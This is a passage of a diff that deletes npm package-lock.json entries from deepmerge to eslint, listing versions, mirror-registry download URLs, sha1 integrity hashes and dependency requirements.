-      "resolved": "https://registry.npm.taobao.org/deepmerge/download/deepmerge-4.2.2.tgz?cache=0&sync_timestamp=1606805746825&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdeepmerge%2Fdownload%2Fdeepmerge-4.2.2.tgz",
-      "integrity": "sha1-RNLqNnm49NT/ujPwPYZfwee/SVU="
-    },
-    "default-gateway": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npm.taobao.org/default-gateway/download/default-gateway-4.2.0.tgz?cache=0&sync_timestamp=1610365816953&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdefault-gateway%2Fdownload%2Fdefault-gateway-4.2.0.tgz",
-      "integrity": "sha1-FnEEx1AMIRX23WmwpTa7jtcgVSs=",
-      "requires": {
-        "execa": "^1.0.0",
-        "ip-regex": "^2.1.0"
-      }
-    },
-    "define-properties": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npm.taobao.org/define-properties/download/define-properties-1.1.3.tgz",
-      "integrity": "sha1-z4jabL7ib+bbcJT2HYcMvYTO6fE=",
-      "requires": {
-        "object-keys": "^1.0.12"
-      }
-    },
-    "define-property": {
-      "version": "2.0.2",
-      "resolved": "https://registry.nlark.com/define-property/download/define-property-2.0.2.tgz",
-      "integrity": "sha1-1Flono1lS6d+AqgX+HENcCyxbp0=",
-      "requires": {
-        "is-descriptor": "^1.0.2",
-        "isobject": "^3.0.1"
-      },
-      "dependencies": {
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz",
-          "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        }
-      }
-    },
-    "del": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npm.taobao.org/del/download/del-4.1.1.tgz",
-      "integrity": "sha1-no8RciLqRKMf86FWwEm5kFKp8LQ=",
-      "requires": {
-        "@types/glob": "^7.1.1",
-        "globby": "^6.1.0",
-        "is-path-cwd": "^2.0.0",
-        "is-path-in-cwd": "^2.0.0",
-        "p-map": "^2.0.0",
-        "pify": "^4.0.1",
-        "rimraf": "^2.6.3"
-      },
-      "dependencies": {
-        "array-union": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npm.taobao.org/array-union/download/array-union-1.0.2.tgz",
-          "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=",
-          "requires": {
-            "array-uniq": "^1.0.1"
-          }
-        },
-        "globby": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npm.taobao.org/globby/download/globby-6.1.0.tgz?cache=0&sync_timestamp=1616407139482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fglobby%2Fdownload%2Fglobby-6.1.0.tgz",
-          "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=",
-          "requires": {
-            "array-union": "^1.0.1",
-            "glob": "^7.0.3",
-            "object-assign": "^4.0.1",
-            "pify": "^2.0.0",
-            "pinkie-promise": "^2.0.0"
-          },
-          "dependencies": {
-            "pify": {
-              "version": "2.3.0",
-              "resolved": "https://registry.npm.taobao.org/pify/download/pify-2.3.0.tgz",
-              "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw="
-            }
-          }
-        },
-        "p-map": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npm.taobao.org/p-map/download/p-map-2.1.0.tgz",
-          "integrity": "sha1-MQko/u+cnsxltosXaTAYpmXOoXU="
-        },
-        "rimraf": {
-          "version": "2.7.1",
-          "resolved": "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz",
-          "integrity": "sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=",
-          "requires": {
-            "glob": "^7.1.3"
-          }
-        }
-      }
-    },
-    "delayed-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/delayed-stream/download/delayed-stream-1.0.0.tgz",
-      "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk="
-    },
-    "depd": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/depd/download/depd-1.1.2.tgz",
-      "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak="
-    },
-    "des.js": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/des.js/download/des.js-1.0.1.tgz",
-      "integrity": "sha1-U4IULhvcU/hdhtU+X0qn3rkeCEM=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "minimalistic-assert": "^1.0.0"
-      }
-    },
-    "destroy": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/destroy/download/destroy-1.0.4.tgz",
-      "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA="
-    },
-    "detect-newline": {
-      "version": "3.1.0",
-      "resolved": "https://registry.nlark.com/detect-newline/download/detect-newline-3.1.0.tgz",
-      "integrity": "sha1-V29d/GOuGhkv8ZLYrTr2MImRtlE="
-    },
-    "detect-node": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/detect-node/download/detect-node-2.1.0.tgz?cache=0&sync_timestamp=1621146976557&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdetect-node%2Fdownload%2Fdetect-node-2.1.0.tgz",
-      "integrity": "sha1-yccHdaScPQO8LAbZpzvlUPl4+LE="
-    },
-    "detect-port-alt": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npm.taobao.org/detect-port-alt/download/detect-port-alt-1.1.6.tgz",
-      "integrity": "sha1-JHB96r6TLUo89iEwICfCsmZWgnU=",
-      "requires": {
-        "address": "^1.0.1",
-        "debug": "^2.6.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "diff-sequences": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/diff-sequences/download/diff-sequences-26.6.2.tgz?cache=0&sync_timestamp=1621937263741&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdiff-sequences%2Fdownload%2Fdiff-sequences-26.6.2.tgz",
-      "integrity": "sha1-SLqZFX3hkjQS7tQdtrbUqpynwLE="
-    },
-    "diffie-hellman": {
-      "version": "5.0.3",
-      "resolved": "https://registry.npm.taobao.org/diffie-hellman/download/diffie-hellman-5.0.3.tgz",
-      "integrity": "sha1-QOjumPVaIUlgcUaSHGPhrl89KHU=",
-      "requires": {
-        "bn.js": "^4.1.0",
-        "miller-rabin": "^4.0.0",
-        "randombytes": "^2.0.0"
-      },
-      "dependencies": {
-        "bn.js": {
-          "version": "4.12.0",
-          "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz",
-          "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og="
-        }
-      }
-    },
-    "dir-glob": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npm.taobao.org/dir-glob/download/dir-glob-3.0.1.tgz",
-      "integrity": "sha1-Vtv3PZkqSpO6FYT0U0Bj/S5BcX8=",
-      "requires": {
-        "path-type": "^4.0.0"
-      }
-    },
-    "dns-equal": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/dns-equal/download/dns-equal-1.0.0.tgz",
-      "integrity": "sha1-s55/HabrCnW6nBcySzR1PEfgZU0="
-    },
-    "dns-packet": {
-      "version": "1.3.4",
-      "resolved": "https://registry.nlark.com/dns-packet/download/dns-packet-1.3.4.tgz",
-      "integrity": "sha1-40VQZYJKJQe6iGxVqJljuxB97G8=",
-      "requires": {
-        "ip": "^1.1.0",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "dns-txt": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/dns-txt/download/dns-txt-2.0.2.tgz",
-      "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=",
-      "requires": {
-        "buffer-indexof": "^1.0.0"
-      }
-    },
-    "doctrine": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/doctrine/download/doctrine-3.0.0.tgz",
-      "integrity": "sha1-rd6+rXKmV023g2OdyHoSF3OXOWE=",
-      "requires": {
-        "esutils": "^2.0.2"
-      }
-    },
-    "dom-accessibility-api": {
-      "version": "0.5.6",
-      "resolved": "https://registry.nlark.com/dom-accessibility-api/download/dom-accessibility-api-0.5.6.tgz?cache=0&sync_timestamp=1622712225792&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-accessibility-api%2Fdownload%2Fdom-accessibility-api-0.5.6.tgz",
-      "integrity": "sha1-P11DtSx6O9aLX7Y/pHtOTB/fZak="
-    },
-    "dom-converter": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npm.taobao.org/dom-converter/download/dom-converter-0.2.0.tgz",
-      "integrity": "sha1-ZyGp2u4uKTaClVtq/kFncWJ7t2g=",
-      "requires": {
-        "utila": "~0.4"
-      }
-    },
-    "dom-helpers": {
-      "version": "5.2.1",
-      "resolved": "https://registry.nlark.com/dom-helpers/download/dom-helpers-5.2.1.tgz?cache=0&sync_timestamp=1619452028728&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-helpers%2Fdownload%2Fdom-helpers-5.2.1.tgz",
-      "integrity": "sha1-2UAFNrK/giWtmP4FLgKUUaxA6QI=",
-      "requires": {
-        "@babel/runtime": "^7.8.7",
-        "csstype": "^3.0.2"
-      }
-    },
-    "dom-serializer": {
-      "version": "0.2.2",
-      "resolved": "https://registry.nlark.com/dom-serializer/download/dom-serializer-0.2.2.tgz?cache=0&sync_timestamp=1621256858583&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdom-serializer%2Fdownload%2Fdom-serializer-0.2.2.tgz",
-      "integrity": "sha1-GvuB9TNxcXXUeGVd68XjMtn5u1E=",
-      "requires": {
-        "domelementtype": "^2.0.1",
-        "entities": "^2.0.0"
-      },
-      "dependencies": {
-        "domelementtype": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npm.taobao.org/domelementtype/download/domelementtype-2.2.0.tgz?cache=0&sync_timestamp=1617298495910&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomelementtype%2Fdownload%2Fdomelementtype-2.2.0.tgz",
-          "integrity": "sha1-mgtsJ4LtahxzI9QiZxg9+b2LHVc="
-        }
-      }
-    },
-    "domain-browser": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/domain-browser/download/domain-browser-1.2.0.tgz?cache=0&sync_timestamp=1604239910191&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomain-browser%2Fdownload%2Fdomain-browser-1.2.0.tgz",
-      "integrity": "sha1-PTH1AZGmdJ3RN1p/Ui6CPULlTto="
-    },
-    "domelementtype": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npm.taobao.org/domelementtype/download/domelementtype-1.3.1.tgz?cache=0&sync_timestamp=1617298495910&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomelementtype%2Fdownload%2Fdomelementtype-1.3.1.tgz",
-      "integrity": "sha1-0EjESzew0Qp/Kj1f7j9DM9eQSB8="
-    },
-    "domexception": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/domexception/download/domexception-2.0.1.tgz",
-      "integrity": "sha1-+0Su+6eT4VdLCvau0oAdBXUp8wQ=",
-      "requires": {
-        "webidl-conversions": "^5.0.0"
-      },
-      "dependencies": {
-        "webidl-conversions": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npm.taobao.org/webidl-conversions/download/webidl-conversions-5.0.0.tgz",
-          "integrity": "sha1-rlnIoAsSFUOirMZcBDT1ew/BGv8="
-        }
-      }
-    },
-    "domhandler": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npm.taobao.org/domhandler/download/domhandler-2.4.2.tgz?cache=0&sync_timestamp=1618563954924&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdomhandler%2Fdownload%2Fdomhandler-2.4.2.tgz",
-      "integrity": "sha1-iAUJfpM9ZehVRvcm1g9euItE+AM=",
-      "requires": {
-        "domelementtype": "1"
-      }
-    },
-    "domutils": {
-      "version": "1.7.0",
-      "resolved": "https://registry.nlark.com/domutils/download/domutils-1.7.0.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdomutils%2Fdownload%2Fdomutils-1.7.0.tgz",
-      "integrity": "sha1-Vuo0HoNOBuZ0ivehyyXaZ+qfjCo=",
-      "requires": {
-        "dom-serializer": "0",
-        "domelementtype": "1"
-      }
-    },
-    "dot-case": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/dot-case/download/dot-case-3.0.4.tgz?cache=0&sync_timestamp=1606867255091&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdot-case%2Fdownload%2Fdot-case-3.0.4.tgz",
-      "integrity": "sha1-mytnDQCkMWZ6inW6Kc0bmICc51E=",
-      "requires": {
-        "no-case": "^3.0.4",
-        "tslib": "^2.0.3"
-      },
-      "dependencies": {
-        "tslib": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npm.taobao.org/tslib/download/tslib-2.2.0.tgz?cache=0&sync_timestamp=1617647281845&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-2.2.0.tgz",
-          "integrity": "sha1-+yxHWXfjXiQTEe3iaTzuHsZpj1w="
-        }
-      }
-    },
-    "dot-prop": {
-      "version": "5.3.0",
-      "resolved": "https://registry.npm.taobao.org/dot-prop/download/dot-prop-5.3.0.tgz",
-      "integrity": "sha1-kMzOcIzZzYLMTcjD3dmr3VWyDog=",
-      "requires": {
-        "is-obj": "^2.0.0"
-      }
-    },
-    "dotenv": {
-      "version": "8.2.0",
-      "resolved": "https://registry.nlark.com/dotenv/download/dotenv-8.2.0.tgz?cache=0&sync_timestamp=1621628681571&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fdotenv%2Fdownload%2Fdotenv-8.2.0.tgz",
-      "integrity": "sha1-l+YZJZradQ7qPk6j4mvO6lQksWo="
-    },
-    "dotenv-expand": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npm.taobao.org/dotenv-expand/download/dotenv-expand-5.1.0.tgz",
-      "integrity": "sha1-P7rwIL/XlIhAcuomsel5HUWmKfA="
-    },
-    "duplexer": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npm.taobao.org/duplexer/download/duplexer-0.1.2.tgz",
-      "integrity": "sha1-Or5DrvODX4rgd9E23c4PJ2sEAOY="
-    },
-    "duplexify": {
-      "version": "3.7.1",
-      "resolved": "https://registry.npm.taobao.org/duplexify/download/duplexify-3.7.1.tgz",
-      "integrity": "sha1-Kk31MX9sz9kfhtb9JdjYoQO4gwk=",
-      "requires": {
-        "end-of-stream": "^1.0.0",
-        "inherits": "^2.0.1",
-        "readable-stream": "^2.0.0",
-        "stream-shift": "^1.0.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "ee-first": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/ee-first/download/ee-first-1.1.1.tgz",
-      "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0="
-    },
-    "ejs": {
-      "version": "2.7.4",
-      "resolved": "https://registry.npm.taobao.org/ejs/download/ejs-2.7.4.tgz",
-      "integrity": "sha1-SGYSh1c9zFPjZsehrlLDoSDuybo="
-    },
-    "electron-to-chromium": {
-      "version": "1.3.749",
-      "resolved": "https://registry.nlark.com/electron-to-chromium/download/electron-to-chromium-1.3.749.tgz",
-      "integrity": "sha1-Ds68UpzrSd0qfIOK5CUjZkTDQ5o="
-    },
-    "elliptic": {
-      "version": "6.5.4",
-      "resolved": "https://registry.nlark.com/elliptic/download/elliptic-6.5.4.tgz",
-      "integrity": "sha1-2jfOvTHnmhNn6UG1ku0fvr1Yq7s=",
-      "requires": {
-        "bn.js": "^4.11.9",
-        "brorand": "^1.1.0",
-        "hash.js": "^1.0.0",
-        "hmac-drbg": "^1.0.1",
-        "inherits": "^2.0.4",
-        "minimalistic-assert": "^1.0.1",
-        "minimalistic-crypto-utils": "^1.0.1"
-      },
-      "dependencies": {
-        "bn.js": {
-          "version": "4.12.0",
-          "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-4.12.0.tgz",
-          "integrity": "sha1-d1s/J477uXGO7HNh9IP7Nvu/6og="
-        }
-      }
-    },
-    "emittery": {
-      "version": "0.7.2",
-      "resolved": "https://registry.nlark.com/emittery/download/emittery-0.7.2.tgz?cache=0&sync_timestamp=1622640811306&other_urls=https%3A%2F%2Fregistry.nlark.com%2Femittery%2Fdownload%2Femittery-0.7.2.tgz",
-      "integrity": "sha1-JVlZCOE68PVnSrQZOW4vs5TN+oI="
-    },
-    "emoji-regex": {
-      "version": "8.0.0",
-      "resolved": "https://registry.npm.taobao.org/emoji-regex/download/emoji-regex-8.0.0.tgz?cache=0&sync_timestamp=1614682725186&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Femoji-regex%2Fdownload%2Femoji-regex-8.0.0.tgz",
-      "integrity": "sha1-6Bj9ac5cz8tARZT4QpY79TFkzDc="
-    },
-    "emojis-list": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/emojis-list/download/emojis-list-3.0.0.tgz",
-      "integrity": "sha1-VXBmIEatKeLpFucariYKvf9Pang="
-    },
-    "encodeurl": {
-      "version": "1.0.2",
-      "resolved": "https://registry.nlark.com/encodeurl/download/encodeurl-1.0.2.tgz",
-      "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k="
-    },
-    "end-of-stream": {
-      "version": "1.4.4",
-      "resolved": "https://registry.nlark.com/end-of-stream/download/end-of-stream-1.4.4.tgz",
-      "integrity": "sha1-WuZKX0UFe682JuwU2gyl5LJDHrA=",
-      "requires": {
-        "once": "^1.4.0"
-      }
-    },
-    "enhanced-resolve": {
-      "version": "4.5.0",
-      "resolved": "https://registry.nlark.com/enhanced-resolve/download/enhanced-resolve-4.5.0.tgz?cache=0&sync_timestamp=1620663122954&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fenhanced-resolve%2Fdownload%2Fenhanced-resolve-4.5.0.tgz",
-      "integrity": "sha1-Lzz9hNvjtIfxjy2y7x4GSlccpew=",
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "memory-fs": "^0.5.0",
-        "tapable": "^1.0.0"
-      },
-      "dependencies": {
-        "memory-fs": {
-          "version": "0.5.0",
-          "resolved": "https://registry.npm.taobao.org/memory-fs/download/memory-fs-0.5.0.tgz",
-          "integrity": "sha1-MkwBKIuIZSlm0WHbd4OHIIRajjw=",
-          "requires": {
-            "errno": "^0.1.3",
-            "readable-stream": "^2.0.1"
-          }
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "enquirer": {
-      "version": "2.3.6",
-      "resolved": "https://registry.npm.taobao.org/enquirer/download/enquirer-2.3.6.tgz",
-      "integrity": "sha1-Kn/l3WNKHkElqXXsmU/1RW3Dc00=",
-      "requires": {
-        "ansi-colors": "^4.1.1"
-      }
-    },
-    "entities": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/entities/download/entities-2.2.0.tgz",
-      "integrity": "sha1-CY3JDruD2N/6CJ1VJWs1HTTE2lU="
-    },
-    "errno": {
-      "version": "0.1.8",
-      "resolved": "https://registry.npm.taobao.org/errno/download/errno-0.1.8.tgz",
-      "integrity": "sha1-i7Ppx9Rjvkl2/4iPdrSAnrwugR8=",
-      "requires": {
-        "prr": "~1.0.1"
-      }
-    },
-    "error-ex": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npm.taobao.org/error-ex/download/error-ex-1.3.2.tgz",
-      "integrity": "sha1-tKxAZIEH/c3PriQvQovqihTU8b8=",
-      "requires": {
-        "is-arrayish": "^0.2.1"
-      }
-    },
-    "error-stack-parser": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npm.taobao.org/error-stack-parser/download/error-stack-parser-2.0.6.tgz",
-      "integrity": "sha1-WpmnB716TFinl5AtSNgoA+3mqtg=",
-      "requires": {
-        "stackframe": "^1.1.1"
-      }
-    },
-    "es-abstract": {
-      "version": "1.18.3",
-      "resolved": "https://registry.nlark.com/es-abstract/download/es-abstract-1.18.3.tgz",
-      "integrity": "sha1-JcTDOAonqiA8RLK2hbupTaMbY+A=",
-      "requires": {
-        "call-bind": "^1.0.2",
-        "es-to-primitive": "^1.2.1",
-        "function-bind": "^1.1.1",
-        "get-intrinsic": "^1.1.1",
-        "has": "^1.0.3",
-        "has-symbols": "^1.0.2",
-        "is-callable": "^1.2.3",
-        "is-negative-zero": "^2.0.1",
-        "is-regex": "^1.1.3",
-        "is-string": "^1.0.6",
-        "object-inspect": "^1.10.3",
-        "object-keys": "^1.1.1",
-        "object.assign": "^4.1.2",
-        "string.prototype.trimend": "^1.0.4",
-        "string.prototype.trimstart": "^1.0.4",
-        "unbox-primitive": "^1.0.1"
-      }
-    },
-    "es-to-primitive": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npm.taobao.org/es-to-primitive/download/es-to-primitive-1.2.1.tgz",
-      "integrity": "sha1-5VzUyc3BiLzvsDs2bHNjI/xciYo=",
-      "requires": {
-        "is-callable": "^1.1.4",
-        "is-date-object": "^1.0.1",
-        "is-symbol": "^1.0.2"
-      }
-    },
-    "es5-ext": {
-      "version": "0.10.53",
-      "resolved": "https://registry.nlark.com/es5-ext/download/es5-ext-0.10.53.tgz",
-      "integrity": "sha1-k8WjrP2+8nUiCtcmRK0C7hg2jeE=",
-      "requires": {
-        "es6-iterator": "~2.0.3",
-        "es6-symbol": "~3.1.3",
-        "next-tick": "~1.0.0"
-      }
-    },
-    "es6-iterator": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npm.taobao.org/es6-iterator/download/es6-iterator-2.0.3.tgz",
-      "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=",
-      "requires": {
-        "d": "1",
-        "es5-ext": "^0.10.35",
-        "es6-symbol": "^3.1.1"
-      }
-    },
-    "es6-symbol": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npm.taobao.org/es6-symbol/download/es6-symbol-3.1.3.tgz",
-      "integrity": "sha1-utXTwbzawoJp9MszHkMceKxwXRg=",
-      "requires": {
-        "d": "^1.0.1",
-        "ext": "^1.1.2"
-      }
-    },
-    "escalade": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npm.taobao.org/escalade/download/escalade-3.1.1.tgz?cache=0&sync_timestamp=1602567261690&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescalade%2Fdownload%2Fescalade-3.1.1.tgz",
-      "integrity": "sha1-2M/ccACWXFoBdLSoLqpcBVJ0LkA="
-    },
-    "escape-html": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/escape-html/download/escape-html-1.0.3.tgz",
-      "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg="
-    },
-    "escape-string-regexp": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-1.0.5.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-1.0.5.tgz",
-      "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ="
-    },
-    "escodegen": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/escodegen/download/escodegen-2.0.0.tgz",
-      "integrity": "sha1-XjKxKDPoqo+jXhvwvvqJOASEx90=",
-      "requires": {
-        "esprima": "^4.0.1",
-        "estraverse": "^5.2.0",
-        "esutils": "^2.0.2",
-        "optionator": "^0.8.1",
-        "source-map": "~0.6.1"
-      },
-      "dependencies": {
-        "estraverse": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npm.taobao.org/estraverse/download/estraverse-5.2.0.tgz",
-          "integrity": "sha1-MH30JUfmzHMk088DwVXVzbjFOIA="
-        },
-        "levn": {
-          "version": "0.3.0",
-          "resolved": "https://registry.npm.taobao.org/levn/download/levn-0.3.0.tgz",
-          "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
-          "requires": {
-            "prelude-ls": "~1.1.2",
-            "type-check": "~0.3.2"
-          }
-        },
-        "optionator": {
-          "version": "0.8.3",
-          "resolved": "https://registry.npm.taobao.org/optionator/download/optionator-0.8.3.tgz",
-          "integrity": "sha1-hPodA2/p08fiHZmIS2ARZ+yPtJU=",
-          "requires": {
-            "deep-is": "~0.1.3",
-            "fast-levenshtein": "~2.0.6",
-            "levn": "~0.3.0",
-            "prelude-ls": "~1.1.2",
-            "type-check": "~0.3.2",
-            "word-wrap": "~1.2.3"
-          }
-        },
-        "prelude-ls": {
-          "version": "1.1.2",
-          "resolved": "https://registry.npm.taobao.org/prelude-ls/download/prelude-ls-1.1.2.tgz",
-          "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ="
-        },
-        "type-check": {
-          "version": "0.3.2",
-          "resolved": "https://registry.npm.taobao.org/type-check/download/type-check-0.3.2.tgz",
-          "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
-          "requires": {
-            "prelude-ls": "~1.1.2"
-          }
-        }
-      }
-    },
-    "eslint": {
-      "version": "7.28.0",
-      "resolved": "https://registry.nlark.com/eslint/download/eslint-7.28.0.tgz?cache=0&sync_timestamp=1622846586286&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint%2Fdownload%2Feslint-7.28.0.tgz",
-      "integrity": "sha1-Q1qheguCwTuyvp1RQIthfknB6CA=",
-      "requires": {
-        "@babel/code-frame": "7.12.11",
-        "@eslint/eslintrc": "^0.4.2",
-        "ajv": "^6.10.0",
-        "chalk": "^4.0.0",
-        "cross-spawn": "^7.0.2",
-        "debug": "^4.0.1",
-        "doctrine": "^3.0.0",
-        "enquirer": "^2.3.5",
-        "escape-string-regexp": "^4.0.0",
-        "eslint-scope": "^5.1.1",
-        "eslint-utils": "^2.1.0",
-        "eslint-visitor-keys": "^2.0.0",
-        "espree": "^7.3.1",
-        "esquery": "^1.4.0",
-        "esutils": "^2.0.2",
-        "fast-deep-equal": "^3.1.3",
-        "file-entry-cache": "^6.0.1",
-        "functional-red-black-tree": "^1.0.1",
-        "glob-parent": "^5.1.2",
-        "globals": "^13.6.0",
-        "ignore": "^4.0.6",
-        "import-fresh": "^3.0.0",
-        "imurmurhash": "^0.1.4",
-        "is-glob": "^4.0.0",
-        "js-yaml": "^3.13.1",
-        "json-stable-stringify-without-jsonify": "^1.0.1",
-        "levn": "^0.4.1",
-        "lodash.merge": "^4.6.2",
-        "minimatch": "^3.0.4",
-        "natural-compare": "^1.4.0",
